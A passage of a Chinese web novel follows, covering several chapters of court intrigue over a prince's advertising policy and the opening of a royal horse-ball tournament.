魏国公翻了个白眼,阴阳怪气地拖长了音调,那表情夸张得足以气死任何一个认真辩论的人。
“你吴家可真是为了我大梁朝廷,鞠躬尽瘁,死而后已啊。”
魏国公边说边转向御座上的梁帝,抱拳拱手,动作做得十足,眼神却始终斜睨着吴文耀。
将最后四字咬得极重,充满了讥讽:“直把商场当战场,功名利禄里面藏。”
“啧啧,老夫听了,真是……感动得无以复加啊。”
“要不要老夫现在就上奏陛下,恳请赐予你吴家一块金光闪闪的牌匾,就刻上‘忠义传家’四个大字。
高高挂在你们吴氏宗祠的门楣之上,也好让你吴家子孙后代,日日瞻仰,时时铭记这份忠义?”
“你……你你……噗……”吴文耀只觉得一股腥甜直冲喉头,瞬间眼前阵阵发黑,身形一个踉跄,几乎要当场栽倒。
“右相!右相大人!”身后数名同派的官员见状,慌忙抢步上前,七手八脚地将其搀扶住,连声呼唤。
魏国公苏逸尘也假意上前一步,伸手虚扶了一下踉跄的吴文耀。
可那张嘴里吐出的话,却依旧是那般气**不偿命,带着几分戏谑的关切。
“哟,老吴啊,看来你今天这战斗力不行啊?”
“这才几个回合,就不行了?”
“年纪大了,身子骨可得保重啊,回家得多喝点参汤补补。”
“哼!”
吴文耀勉强稳住身形,感受到对方那毫无诚意的搀扶,只觉得无比羞辱。
用尽全身力气猛地甩开了魏国公的手,别过头去,只发出一声饱含愤怒与屈闷的冷哼。
萧恒站在一旁,看得是兴致勃勃,眼神闪烁,内心大呼过瘾。
若非场合不对,他简直想立刻变出一把香喷喷的炒瓜子,边嗑边看这出年度大戏。
“咳……”就在萧恒看得几乎忘乎所以,身体都不自觉地微微前倾时。
身旁的太子不动声色地用脚尖轻轻碰了一下萧恒的靴子,同时发出一声几不可闻的轻咳。
萧恒这才一个激灵,立刻收敛了脸上所有外露的情绪,迅速挺直了腰板,瞬间恢复了那副眼观鼻、鼻观心、沉稳恭谨的模范臣子模样。
第84章:各有各的规则
“两位大人皆是为国事筹谋,偶有分歧实属正常。”
太子眼见双方气氛剑拔**张,唇枪舌剑间已隐现锋芒。
若再不适时上前劝解,只怕自家这位性烈如火的老丈人,当真要将右相气得晕厥过去不可。
于是太子赶忙上前一步,不着痕迹地插入两人之间,微微躬身。
声音清朗如玉,又带着储君特有的沉稳气度。
“还望两位大人都以国体为重,暂且息怒,平心静气,好好商议才是。”
“哼,”迎接太子的是两声几乎同时响起,带着余怒的冷哼,音调各异,各自表达着自己的不满。
不过好在太子的话终究有着分量,两人也只是从鼻子里哼出这么一声,便都强压着火气,缄口不言,算是给了储君一个面子。
见太子出声打断了二人的争吵,彻底结束了眼前这一场解乏的乐子。
一直高踞龙椅,同样在看戏的梁帝,目光终于微微转动,落在了太子身上。
声音平缓无波:“太子说说你的看法?”
太子闻声,先是转身,朝御座上的梁帝恭谨地行了一礼,动作标准,一丝不苟。
随后,太子目光从容地从殿内一众官员面上缓缓扫过,方才开口。
“儿臣认为,九弟所献之策,确有其精妙与可取之处,并非高谈论阔的空话。”
“然则,”太子话锋微转,语气变得更为审慎:“此策毕竟前所未有,乃开创之举。”
“若是未经斟酌,便骤然推行于四海,恐其细则与国情有所扞格。”
“届时,若如右相方才所忧那般,致使民间百姓误解朝廷本意,酿出不必要的风波,反倒不美。”
“故而,依儿臣浅见,”太子略作停顿,清晰地提出自己的方案。
“是否可先小范围地择取几处风俗各异,富庶程度不等之地,作为示范之区?”
“若试行之后,成效卓著,再视情形,逐步推广至全国。”
“此举一来,可遵循序渐进,予天下万民一个熟悉,接纳的过程。”
“不致令百姓骤然听闻,误以为朝廷即将陡然更易国策,转而大力抬举商贾之流,动摇本业。”
“这二来嘛,朝廷亦可借此试行之机,逐步摸索、积累施政经验,以便日后能更精准有力地实施管控。”
“避免因仓促推行一项全新政令,而朝廷上下却无旧例可循,无经验可依,最终导致施行不力,或是矫枉过正,施政用力过猛,造成难以挽回的损失。”
太子条分缕析,将其中利害得失娓娓道来,言辞恳切,思虑周详。
“臣附议!”太子话音落下,魏国公立即声若洪钟地率先表态,支持之意毫不掩饰。
紧接着,另外几位原本倾向于太子一系的官员,也纷纷出列,躬身附和。
“儿臣附议,”萧恒亦适时行礼,表示赞同。
与此同时,萧恒内心对这位太子兄长的评价,不禁又悄然拔高了几分。
不愧是由梁帝亲手栽培、寄予厚望的储君,说话做事,果然滴水不漏,老成谋国。
即便自己早已与太子通过声气,让太子深知此事若能按照预想推进,必能带来巨大收益。
可太子依旧能沉得住气,选择了更为稳妥,更显持重的渐进之法。
而非贪功冒进,企图顷刻间便全面铺开。
这份定力与远见,确非常人可及。
“嗯,”御座之上,梁帝闻言,不动声色地轻轻颔首,从鼻腔里逸出一声听不出喜怒的应允。
随即深邃的目光转而投向一直面色紧绷的右相吴文耀:“吴爱卿,你认为呢?”
吴文耀此刻面色有些难看。
先是抬首,飞快地掠了太子一眼,太子面上带着一丝恰到好处的温和微笑,令人如沐春风。
又迅速抬眼,偷偷觑向龙椅上的梁帝,只见此刻梁帝表情平静无波,如同古井深潭,窥不透丝毫情绪。
最后,吴文耀的视线几不可察地瞟向了站在太子身侧的萧恒。
萧恒静立一旁,神情淡然,仿佛眼前这场因他而起的朝堂
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争论,全然与他无关一般。
甚至在对上吴文耀投来,带着审视与复杂意味的目光时。
萧恒还很是从容地对其微微点了点头,唇角牵起一抹堪称友好的浅淡笑意,姿态做得十足。
吴文耀像是被那笑容刺到一般,迅速收回目光,垂下眼睑。
再抬头时,面上已恢复了惯常的恭谨神色,只是嘴角仍有些许僵直。
朝着梁帝深深一揖,开口时,声音带着一丝不易察觉的干涩:
“太子殿下所虑周详,老臣……认为此法极好。”
“臣等附议!”
眼见为首的吴文耀都已点头应承下来,剩余几位原本追随吴文耀,态度强硬的官员,彼此交换了几个眼神,自然也识趣地不再头铁硬扛,纷纷躬身,异口同声地表示赞同。
这庙堂之上,天下攘攘,从来便没有恒久不变的敌人,唯有永恒流转的利益。
因此,在这金銮殿中行事,自有一套心照不宣的规则。
方才太子那一番言论,表面看来是主张稳扎稳打,谨慎行事,实则又何尝不是在给他吴文耀,以及他背后所代表的势力,一个体面下台的阶梯?
天家没有选择凭借绝对权威,强行将新政瞬间推行全国,而是愿意择地试点,观察效果。
这便等于留足了时间与余地,让有人能够从容布置,缓冲应对,不至于立时三刻便让麾下产业遭受一些不必要的冲进,损及利益。
天家既已先行退让一步,展露了怀柔之意,若他吴文耀还不知好歹,执意要死扛到底,那便真是不识抬举,给脸不要脸了。
吴文耀官海沉浮数十载,岂能不懂这其中关窍?
也正是洞悉了这层深意,才就着太子递过来的这个台阶,顺势而下。
至于方才那番面红耳赤、几乎要撸袖抡拳的激烈争吵?
呵,大家都是为国事筹谋,心系江山社稷,讨论得激烈些,意见有所分歧。
不正是臣子忠君爱国,勇于任事的体现么?
再正常不过了。
第85章:太子教导
“皇兄,广告一事若得以全面推行,对朝廷而言,显是利大于弊。”
“臣弟不解的是,皇兄为何选择暂缓一步,先作试点推行。”
“如此安排,虽稳妥,可一旦全面铺开,中间这段试点所耗的时间,对朝廷来说,岂不是一笔不小的损失?”
众人自紫宸殿鱼贯而出后,萧恒并未即刻离宫,而是背起双手,像个老成的小老头般,默默跟在太子身后。
近来太子待他,较之往日分明亲近不少。
萧恒心知,这般情谊需得时时维系,因而有意寻些机会,多与太子相处。
太子闻言,面色未改,步履平稳地朝东宫方向行去,一边为萧恒解惑道。
“广告一事,若仅止于民间商贾自行推行,原不足为奇,充其量不过是一种新奇的宣传手段罢了。”
“可一旦朝廷介入其中,便代表了官方的态度。”
“无论朝廷初衷为何,一旦于民间施行,必会被人反复解读,无限放大,滋生出诸多猜测与非议。”
“适才吴文耀所言,听来虽似危言耸听,却也并非全无道理。”
“倘若有心人再于背后推波助澜,必将掀起一阵对朝廷不利的议论之风。”
“故而,凡涉及国策之事,无论你如何看好,皆须慎之又慎,切不可操之过急,以免事与愿违,反受其害。”
萧恒跟在太子身后,静心聆听。
待太子言毕,萧恒恭敬一礼:“多谢皇兄为臣弟解惑,臣弟受教了。”
太子面露浅笑,摆了摆手,续道:“这仅是其一,尚有其二。”
“你若不觉孤唠叨,孤便与你再说几句。”
此处,太子自称为孤,意在表明接下来这番话,是大梁储君对臣属的训示,而非仅止于兄弟间的私谈。
“请太子明示。”
萧恒会意,亦随之改口,不再称皇兄,而是依礼称太子。
太子脚步未停,抬手向后一挥。
随侍在后的太监、宫女、护卫等人见状,立即止步,垂首静立原地。
直至太子与萧恒走出二十步开外,远到再无法听清二人谈话内容,一众宫人才敢远远跟上。
太子面色沉静,开口道:“世家势力之大,你应清楚?”
“清楚,”萧恒点头:“若其抱作一团,恐怕连朝廷也需忌惮三分。”
太子闻言,轻轻看了萧恒一眼,轻笑一声:“他们若真拧成一股绳,朝廷便不止是忌惮三分那般简单了。”
“他们完全有实力与朝廷分庭抗礼,将这偌大的大梁搅得天翻地覆,民不聊生。”
太子顿了顿,语气转沉:“你别看我大梁如今被诸国尊为上国,四
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方来朝,看似风光无限。”
“实则,我们正身处群狼环伺之境,周遭各国无不对我大梁辽阔肥沃的土地虎视眈眈。”
“而我萧氏一族,虽贵为皇室,号称天家,实则大梁诸多资源命脉,仍被各大世家牢牢掌控。”
“朝中文武官员,亦多为世家子弟出身。”
言及此,太子神色凝重,轻叹一声:“故而,你别看天家表面风光,实则朝廷并非我萧氏一家之言。”
“所谓的朝廷,实则是天家与世家共同构建而成。”
“因此,朝廷行事,常受世家牵制,难以放开手脚。”
“此次,也不例外。”
说到这,太子目光平静地看向萧恒:“你此番献上广告之策,当真只是为了增加国库岁入?”
萧恒迎向太子的目光,神色不变,默然未语。
太子继续道:“难道不是想借此机会,助你一手创办的民生商号强势崛起,从他们手中分一杯羹?”
萧恒听罢,唇角微扬:“果然什么都瞒不过太子。”
太子亦笑了笑继续说道:“所以想车工此事,此次必须退一步,不可过于强势。”
“需徐徐图之,不可操之过急。”
“须知,过刚则易折。”
萧恒敛去笑意,肃容躬身:“臣,谨记太子教诲。”
第86章:各方算计
京都之地寸土寸金,寻常百姓若只知面朝黄土背朝天地埋头苦干。
恐怕穷尽一生也休想在内城凑足银钱,全款买下一间富贵人家产出腌臜之物的茅厕。
然而就在这寸土寸金之地,对于那些手握权柄、身拥富贵之人而言,却能够肆意挥霍,修筑起一座外表看似朴素寻常,内里却极尽奢华的宅院。
院中亭台楼阁错落林立,假山流水点缀其间,一切华美布置,不过是为了满足一时的享乐之欲。
“右相,齐王此番献策,显然别有用心,意在从你我手中分走一杯羹。”
一处暖阁之中,以右相为首的数名中年男子各自安坐。
每人身前的桌案上都摆放着几碟精致的点心,案角小火炉上正温着清茶。
然而阁中并无半个婢女小厮侍奉在侧,众人皆是亲自执壶,自斟自饮。
众人的目光皆投向居于上首的右相,其中一人面带犹疑,开口道:“倘若真让齐王此事办成,恐怕会对吾等造成不小的冲击。”
“下官不解,今日右相为何不借此良机,将齐王的图谋彻底扼杀于未然,反倒应允了皇室的布局?”
“这岂不是眼睁睁看着皇室一步步蚕食吾等的利益么?”
“正是,依某之见,今日便该坐实齐王的罪名,不该有所退让。”
“某亦附议。”
一时之间,众人议论纷纷,各抒己见。
坐于上首的右相吴文耀,静听众人言语,眼底掠过一丝几不可察的不悦。
这一闪而逝的神情,恰好被坐于侧席的一人捕捉到。
此人当即轻咳一声,出声喝止:“都成何体统!”
“右相深谋远虑,岂是我等可以妄加揣度的?”
“右相既如此决断,自有其道理。”
“是是是,是我等着相了,方才言语多有失当,还望右相见谅。”
经他这一提醒,众人如梦初醒,连忙纷纷出言弥补。
右相看向那出言解围之人,眼中闪过一丝赞许。
随即执起铜勺,慢条斯理地拨弄了一下炉中舒展的茶叶,为自己斟满一杯,举至鼻尖轻嗅茶香,随即又将茶杯轻轻放下,并未饮用。
这才缓缓开口:“皇室终究是天家,你我终究是臣子,该给的脸面,总要给足。”
“凡事不可做尽,否则日后路途难免坎坷。”
“再者,诸位谁不是家业丰厚?齐王所为,不过小打小闹罢了。”
“他既然贪图财物,诸位适当让渡些许利益与他便是。”
“一个乳臭未干的黄口小儿,胃口能有多大?只当是哄孩童玩耍了。”
“不是吗?”
右相目光扫过众人,语气中带着毫不掩饰的对萧恒的轻蔑。
这倒也并非吴文耀托大,实在是因为萧恒虽贵为皇子,受封齐王,但年方十七,在他这等宦海沉浮多年的老狐狸眼中,确实与那不懂事的孩童无异,难以真正重视起来。
“哈哈哈,右相所言极是!”众人闻言,立刻附和着笑了起来,暖阁中气氛顿时一松。
此时茶温正好,吴文耀端起茶杯,细细品了一口。
放下茶杯,继续道:“不过,有一事倒是让本相颇感好奇。”
“九皇子齐王与太子向来不睦,何以近来这段时间,二人关系竟变得如此和睦了?”
“尤其是今日亲眼所见,太子与齐王之间,关系非同一般啊。”
右相吴文耀语气平缓,却带着一丝不易察觉的凝重。
众人闻言,顿时收敛了脸上的笑容。
一人神色认真道:“齐王素来野心勃勃,绝非易与之辈。”
“依下官看来,他如今与太子亲近,必是达成了某种暂时的盟约。”
“很有可能,”另一人接口道:“若非如此,以齐王那不甘人下的性子,怎会突然与太子交好?”
众人纷纷点头称是。
“正是此理!须知齐王昔日为了扳倒太子,曾多次联合二皇子及其他几位皇子构陷东宫,二人之间积怨已深,绝无真正和睦之理。”
“咳——!”
“慎言!”右相眼神骤然锐利,瞪了那说话之人一眼,面色一沉,正色道:“天家之事,岂是你能妄加议论的?”
此刻的吴文耀,神情肃穆,与那些忠心为国、谨守臣道的官员一般无二。
那人顿时脸色一白,慌忙起身离席,快步走到暖阁中央,惶恐不安地跪伏于地。
“下官失言,多饮了几杯便胡言乱语,恳请右相恕罪。”
其余众人也立刻噤声,一个个看向右相,屏息凝神,如同受惊的寒蝉。
右相随意地挥了挥手:“时刻谨记自己的身
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份,莫要贪饮几杯便口无遮拦,需知祸从口出,明白吗?”
“诺!下官谨遵右相教诲!”那人如蒙大赦,连忙应声,躬身退回了自己的座位。
吴文耀面色这才渐渐缓和下来:“无论如何,齐王与太子意欲何为,都给本相盯紧了,任何蛛丝马迹都不可放过。”
“诺。”
……
“老九近来究竟意欲何为?”
“为何与太子走得如此之近?莫非是想独自给太子设局?”
京都,二皇子晋王府邸内。
听着属下的禀报,二皇子晋王萧商面露沉吟之色。
晋王独自思忖片刻,又以极低的声音自语道:“可就凭老九那点城府,他能想出什么高明计策?”
“这蠢货栽了跟头倒无妨,只怕牵连到本王,坏了我的大计。”
思索片刻,晋王抬起头,冷声吩咐道:“继续给本王盯紧齐王,一有异动,立刻来报!”
二皇子晋王命令下达后,过了半晌,一旁的心腹侍卫才带着几分迟疑,低声回禀:
“殿下,近期恐怕……难以办到,我们安插在齐王府的眼线,近日……全都失去了联系。”
二皇子晋王表情瞬间凝固,语气变得极为不悦:“怎么回事?”
身旁的护卫内心叫苦不迭:已然回报全部失联,属下又如何得知具体情况。
表面却愈发恭谨惶恐:“属下……尚未查明。”
“但属下已加派人手前去探查,相信很快便会有消息传回。”
“废物!立刻去查!务必以最快的速度,给本王弄清楚齐王府的一切动向!”
“诺!”
“东宫近来可有消息?”二皇子晋王复又问道。
“东宫一切如常,只是齐王时常入宫觐见,然而具体谈了些什么,我们的人不敢过于深入打探,唯恐暴露身份,因此……不得而知。”
“真是废物!”二皇子晋王闻言,脸上顿时涌起怒意,忍不住再次斥骂出声。
类似二皇子晋王府这般的情景对话。
在此刻京都另外几处同样尊贵非凡的府邸之中,也几乎在同一时间上演着。
例如四皇子的宸王府。
五皇子的宁王府。
七皇子的怀王府。
皆在复现着大同小异的画面,弥漫着猜疑与算计的气息。
第87章:皇兄你不懂女人啊
光阴似箭,日月如梭。
转眼间,一个月的时间便如奔流不息的长河中一粒微不足道的尘埃,彻底湮没在过往的烟云里。
时间悄然来到了大梁,第一届皇家杯正式开幕的这一日。
卯时刚过片刻,尚不足两刻钟的工夫,萧恒便已穿戴齐整,步履匆匆地直奔东宫而去。
因太子每日皆需临朝听政的缘故,卯时初刻太子便已起身。
待萧恒抵达东宫时,太子与太子妃正在暖阁中用着早膳。
经过一段时日的减重调养,太子原本臃肿的身形已清减不少,那身肥膘明显消退,整个人看起来竟有几分挺拔之态。
此刻太子正一手执勺慢饮清粥,另一手持着一封奏折凝神细阅。
摆满精致早点的紫檀木桌旁,一名身着青色内侍服的小太监正手托梨木盘静候一旁,盘中堆积如山的奏折几乎要漫出托盘边缘。
太子妃端坐于太子身侧,姿态优雅地细嚼慢咽,对太子这般边用膳边批阅奏章的行径,显然早已**以为常。
萧恒的脚步声由远及近,太子妃闻声抬眸,唇角自然漾开一抹温婉笑意。
她朝萧恒轻轻招手道:“小弟今日来得这般早,想必还未用过早膳吧?”
随即转头对侍立在身后的宫女吩咐:“快给齐王添副碗筷。”
“多谢嫂子挂心,”萧恒含笑施礼:“不瞒您说,今日臣弟可是特意来蹭东宫这顿早膳的。”
太子妃闻言掩唇轻笑:“你若真能日日早起,不嫌宫道难行,莫说一顿,便是往后日日来东宫用膳,嫂嫂也供得起。”
自萧恒来到这个时空,除非接到梁帝特旨需上朝议事,平日皆是睡到日上三竿方起。
这般作派在宫中早已不是秘密。
太子将手中奏折递给侍立在侧的东宫大太监刘承顺,沉声道:“批红,不准。”
刘承顺立即躬身接过,执起蘸满朱砂的御笔,在奏折末尾画了个殷红如血的叉。
太子略一摆手,那名捧着奏折的内侍便躬身退下。
这时太子才抬眸看向萧恒,眼底带着几分戏谑:“难得见你起这么早,今日这是改性了。”
萧恒在太子对面坦然落座,先啜饮一口香糯的米粥,又夹了筷脆嫩的酱瓜,这才笑道。
“今日不是第一届皇家杯开幕么?心里激动难耐,辗转反侧难以成眠,索性就来接皇兄与皇嫂同往。”
太子神色淡然,继续用着清粥:“又不是不识得路,何须你来接驾。”
“况且开幕大典要至午时方需孤致辞,此刻才将辰时,何必如此匆忙?”
萧恒轻笑着摇头:“皇兄有所不知,今日乃是皇家杯首届盛事,意义非凡。”
“若能一鸣惊人,对往后第二届、第三届……乃至第一百届赛事。”
“都将奠定重要根基。”
“这等关键时刻,岂能不慎重以待?”
“所以趁现在时辰尚早,臣弟还想与皇兄再核对些细节,免得临场出错,平白惹人笑话。”
太子闻言失笑,觉得萧恒未免太过谨小慎微。
这时太子妃放下银箸,略带疑惑地问道:“怎么今日我也要同去么?”
萧恒闻言一怔,转向太子妃道:“皇兄不曾与嫂子提及?”
“今日开幕大典,原定就是您二位一同出席的。”
见太子妃面露诧异,萧恒连忙解释:“皇兄贵为储君,嫂子身为太子妃,二位同时现身盛会,正是要向天下百姓展示天家和睦。”
“这不仅是家事,更关乎国体,象征着朝廷稳定、四海升平的祥瑞之兆。”
太子妃眸光微转,若有所思地望向太子。
太子被看得有些不自在,急忙辩解:“孤数日前就与你提过此事,确实说过的。”
“当真说过?”太子妃秀眉微蹙,转向侍立在侧的贴身宫女求证。
“太子可曾与我说过此事?”
那宫女凝神思索片刻,面上浮现几分犹疑:“太子爷似乎……大概与您提过?”
太子立即瞪大眼睛,斩钉截铁道:“把似乎、大概二词都去掉,孤确确实实说过!”
“是是是,”宫女连忙改口。
“太子妃,太子爷确实与您提过此事。”
太子妃没好气地睨了太子一眼:“罢了,就当你说过吧。”
说着太子妃盈盈起身,对二人温言道:“既然要同去,你们兄弟二人先慢用,容我去更衣梳妆
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。”
“嫂子请便,”萧恒连忙起身相送。
待太子妃身影消失在屏风后,萧恒重新落座,左右张望确认无人,这才凑近太子压低声音。“皇兄与臣弟交个底,您是不是压根没跟嫂子提过这事?”
太子踌躇片刻,含糊其辞:“应当……是提过的吧?”
“得了吧您!”萧恒忍不住翻了个白眼。
方才太子妃仅穿着素雅常服,脸上未施粉黛,全凭天生丽质撑着。
若太子当真提前告知今日要出席盛典,面对数万百姓与外邦使臣,便是天塌下来也得先梳个飞天髻,换上织金绣凤的朝服,断不会如此随意。
“唉,”太子有些心虚地叹气。
“那日你与孤商议后,本是要说的,但偏巧父皇急召紫宸殿议事,直至深夜方归,那时你嫂子早已歇下。”
“原想着次日再提,谁知政务繁忙,竟给忘了,”说着无奈地摊了摊手。
随即太子又补充道:“不过就算未曾提前告知也无妨吧?”
“你嫂子这般容貌,便是素面朝天往那儿一站,也足以艳压群芳。”
萧恒闻言露出高深莫测的笑容:“皇兄啊,这您就不懂女子心思了。”
太子困惑地挑眉:“此言何意?”
“无妨无妨,”萧恒轻笑出声:“以皇兄这般身份,原就不必深究这些细枝末节。”
“这倒也是,”太子正色道。
“自幼父皇便教导我们,万不可沉迷儿女情长,确实不该对女子心思过分揣摩。”
萧恒表情一滞,半晌才勉强点头称是。
与此同时,太子妃正提着裙摆疾步往寝殿走去。
随侍的宫女还在苦思冥想:太子爷当真与太子妃提过?
自己日日随侍在侧,若真有此事,断不会毫无印象啊……
“莫要自责了,”太子妃停下脚步,遥望了一眼暖阁方向,没好气地嗔道。
“分明是那个糊涂蛋忘了说,和你无关?”
“待今日事毕再与他算账,现在先紧着更衣上妆,绝不能误了小弟的要事。”
说罢继续匆匆前行,绣鞋踏在青玉砖上发出细碎的声响。
仿佛每一步都踏在太子的心尖上。
第88章:全是看热闹的百姓
午时太子须出席并致词,故而巳时前后,太子与太子妃便在一众东宫护卫的簇拥下,与萧恒一道启程出宫,径往球场行去。
太子的马车乃特制而成,实木之中夹嵌一层铁板,牢固异常。
无论是刀剑劈砍,抑或是利箭突袭,若**客,皆能极大程度上缓解太子可能受到的伤害。
正因如此,车身格外沉重,需用五匹精壮良驹方能拉动。
宽大厚重的车轮逐一碾过街面的青石板,发出嘎吱、嘎吱的沉闷声响,不绝于耳。
太子与太子妃端坐车中,太子随手撩起窗帘,向外瞥了一眼,见沿街不少铺面仍紧闭门户,街上行人亦寥寥,不由疑惑道。
“今日已过巳时,怎么这些街面铺子还未开张,路上百姓也这般稀少?”
“确是如此,”太子妃掀起另一侧窗帘,轻声讶异:“记得我入宫之前,这个时辰早已人来人往,热闹非常,今日竟如此空旷寂寥。”
“好生奇怪。”
萧恒并未与太子夫妇同乘,而是骑马随行在马车一侧。
闻二人疑问,便笑着答道:“此时街上无人,想必是出城看热闹去了。”
“看热闹?”太子先是一愣,随即恍然。
望着那些紧闭的店门,啧啧称奇:“今日这些素来视财如命的商贾,倒转了性子。”
“为看一场热闹,竟连店中伙计都放了假,实不像他们平日的作风。”
“哈哈,”萧恒闻言笑着说道:“皇兄虽久居宫中,对商贾之性的洞察,却是一点不差。”
“百姓若为看热闹出城,倒也寻常。”
“可商人逐利,若无好处,他们岂会轻易放过任何牟利之机?”
“今日街上虽显冷清,却非空无一人。”
“若照常开店,总有人上门,多少也能赚些辛苦钱。”
对于萧恒的脾性,太子太清楚不过了。
直接打断了萧恒的话,板着脸道:“行了,别卖关子,速速道来原委。”
萧恒神色一正,望向太子:“皇兄当真不知?”
太子面露几分不悦:“孤一日处理事务多如牛毛,若事事皆亲自过问、一一清楚,孤岂不成了神仙?”
萧恒闻言,心想也是,无论皇帝还是太子,终归不是神仙,而是人。
只要是人,就不可能做到面面俱到,啥事都一清二楚。
随即开口解释:“臣弟原想,赛事开始后,前往球场观赛之人必定极多。”
“便命人在球场一侧平整出一片宽阔空地,规划了不少临时摊位,只收取少许租金。”
“本意是让那些走街串巷的小贩趁人多之际,去此处多挣几个辛苦钱。”
“谁知布置妥当、略作宣传后,尚未等到寻常小贩反应。”
“那些大铺面的东家却如嗅到鱼腥的野猫,一窝蜂涌来,争先恐后选定摊位、付了银钱,便急匆匆带人布置去了。”
太子听罢,面泛一丝鄙夷:“果然,商人逐利之性,终究难改,是孤高看他们了。”
随即正色问道:“那你所设的摊位若尽被富商抢占,那些真正需要的小商小贩又当如何?”
太子面露一丝怜悯之情:“他们一年到头本就所赚无几,借此机会虽不能暴富,但在人潮之中,总能多挣几文,稍改家计。”
萧恒闻言连忙回禀:“请皇兄放心,此事臣弟已妥善安排。”
“并未因商贾涌入,便置真正需要的百姓于不顾。”
“如此便好。”
太子微微颔首,对萧恒所为颇感满意。
一行人出了北门,继续朝北行进。
球场距京城数里之遥,在城中时尚不察觉,一出城门向北,便陆续遇见许多匆匆赶向球场、欲观热闹的百姓。
道旁百姓远远望见太子仪仗,纷纷退至路边避让。
随着队伍渐近球场,前来围观的百姓便越聚越多,宽阔的官道竟被人群挤满。
起初百姓只需退至道旁,仪仗尚可通行。
待快要将至球场时,人流汹涌,非但官道上,就连两侧野地、坡上皆是人头攒动,避让已十分困难。
唯有遣士卒沿官道两侧缓缓开路,隔离百姓,一行人方得缓慢前行。
“疏导百姓时,注意态度谦和,万不可与民冲突。”
见马车愈行愈缓,东宫护卫上前驱
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散人群,太子立即出声提醒。
“诺。”
“罢了,让车驾折返,我们步行进去。”
愈近球场,百姓愈众,纵有护卫阻拦,仪仗仍举步维艰。
太子遂道:“莫要惊扰了百姓。”
萧恒闻言并未赞同,进言道:“无妨,再前行一段吧。”
“前方特设有停驻马车之处,先将车驾停靠该处。”
“那里备有专门通道,可直通内场。”
“皇兄你身份尊贵,此处鱼目混杂,还是万事小心为上,不然若是皇兄在此出了什么事,回头父皇非得打死臣弟不可。”
太子听闻此言,沉吟片刻,点了点头,萧恒所说并无道理。
这天下想要自己性命的存在,确实不在少数,小心一点也是好的。
见太子并未执意下马车步行入场,萧恒也是松了一口气。
太子身份尊贵,萧恒既请太子出席,自然已将护卫太子周全纳入考量。
眼前百姓密集,萧恒岂敢让太子于此地下车步行?
人群混杂,万一藏有刺客,太子居于车中,四周护卫环伺,加之马车特制,尚可保无虞。
若太子下车,万一从何处射来冷箭,伤及太子,那自己真是黄泥落裤,非屎亦屎了。
萧恒一边命人前驱开道,一边打起十二分精神戒备刺客,同时望着眼前人山人海,面色亦略显凝重。
终是经验不足啊。
萧恒看着眼前的人山人海,无奈摇头暗道。
首次亲自主办如此盛事,未料今日观者竟如此之众,以致道路堵塞。
看来日后筹办此类大典,预案尚需更为周详,断不能重现今日局面。
这般堵得水泄不通,若生变故、发**,必出人命。
“皇兄,人实在太多了,为防意外,是否再调一营兵马来此维持秩序,以防不测?”萧恒想到这立即向太子请示。
“准!”
“速往京都大营,调一营人马前来。”
太子肃然应允,随即取出一面金牌,交予一名东宫武官。
“诺。”
该武官领命,毫不延误,当即拨转马头,向外驰骋而去。
第89章:入场
“今日此地倒是热闹,”太子牵着太子妃缓步走下车驾,目光扫过四周,到处都是人头攒动、熙熙攘攘的景象。
“那边便是你说的临时市场?”太子目光投向远处,那里乌泱泱地聚满了人,与其他地方相比,往来走动的人影显然更为密集。
“正是,那里便是,”萧恒顺着太子的视线望过去,点头应道。
“皇兄,时辰快到了,我们不如先进去,若您对临时市场感兴趣,待会儿忙完了,臣弟再陪您去逛逛。”
“嗯,也好,”太子轻轻颔首。
在两名礼部官员的引导下,萧恒与太子等人经由特殊通道,进入了内场。
自梁帝下旨那一刻起,今日这场赛事,便已不再是个人的私事。
朝廷官员早已介入其中,负责统筹安排各项事宜。
“轰轰轰……!”
“接下来进场的是逐月队,逐月队共有正式队员十六人,预备队员九人。以逐月为名,想必是志在与明月竞速,可见全队上下对此次比赛信心十足。”
“就让我们以热烈的掌声,欢迎逐月队入场,并预祝他们在本次赛事中取得优异的成绩。”
“即将入场的是凌霄队,凌霄队全员……”
太子的致辞只是开幕环节之一。
其实早在天色初亮之时,成功抢到门票的观众便已早早入场等候。
此刻,正是运动员列队入场的环节。
因此,当萧恒等人还在场外,就已听到场内传来战鼓雷鸣般的轰响,震耳欲聋。
随着众人穿过通道,逐渐靠近内场,一道中气十足、声音洪亮的介绍词清晰传来。
在礼部官员的引领下,萧恒一行人登上一侧视线极佳的高台。
“臣等参见太子殿下、太子妃娘娘、齐王殿下,”高台上早已坐了不少大梁官员。
他们都是提前入场、负责赛事事务的朝廷要员。
如此盛大的赛事,自然需有责任官员提前到场统筹。
否则数万百姓齐聚,朝廷却连一位像样的官员都未曾现身,实在说不过去。
今日开幕式上,明面上的主事官员是礼部的一位侍郎。
这足以体现朝廷对此次赛事的重视。
三人身影一出现,众官员连忙起身行礼。
“嗯,”太子微微点头,走到最中间那把明显比其他座椅更宽大、此刻尚空着的主位前坐下。
随即抬手示意:“都坐吧,
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流程继续,不必因孤而耽搁。”
萧恒在太子右侧落座,太子妃则坐在太子左侧。
“诺,”众人齐声应道,纷纷归位。
众人坐定,目光不约而同投向赛场之中。
眼前的球场,与萧恒最初所见之时相比,已然发生了翻天覆地的变化。
比赛所用的核心场地改动不算太大,毕竟原本就是一块标准场地。
然而场地四周,新建了一圈宽阔的外场跑道。
此刻,一支支骑着高头大马的队伍,正秩序井然地陆续入场。
跑道外围,工部已赶工建起了可容纳上万人同时观看的阶梯式观众席。
若非时间过于紧迫,给足了时间,即便要工部修建一座能容纳数万人的大型体育场,想必也并非难事。
一块块广告牌错落有致地排列,将内场与外圈清晰分隔。
而球场四角最高处,各设有一面巨大的广告牌。
这四块广告牌位置优越、气势夺目,令人难以忽视。
能拥有如此显著的展示效果,当初拍卖广告位时,这几处也正是最抢手、竞价最激烈的席位。
它们也为萧恒在广告收益上,贡献了颇为可观的一笔。
第90章:略显幼稚的萧恒
眼前的场地,是萧恒依照自己对后世体育场的模糊记忆,吩咐工部修建而成的。
当然,以萧恒的本事,还远达不到随手就画出一座体育场详尽图纸的程度。
萧恒仅仅是向工部官员描述了一个大致的构想与方向。
不得不说,在一个任职安稳、极少裁员,但一旦出错就可能面临九族消消乐,这般严峻后果的衙门里当差。
能够稳坐其位的官员,确实个个身怀绝技,能力不凡。
在萧恒提出初步概念草图后,工部上下高效运转,竟在短短五天之内,便将一份细节完备,结构清晰的详细图纸呈递到了萧恒的面前。
此时,看台上已是人声鼎沸,座无虚席。
观众们脸上洋溢着兴奋与期待的笑容,目光齐刷刷地投向下方场地。
在主持人洪亮且富有激情的介绍声中,各支球队正井然有序地依次列队入场。
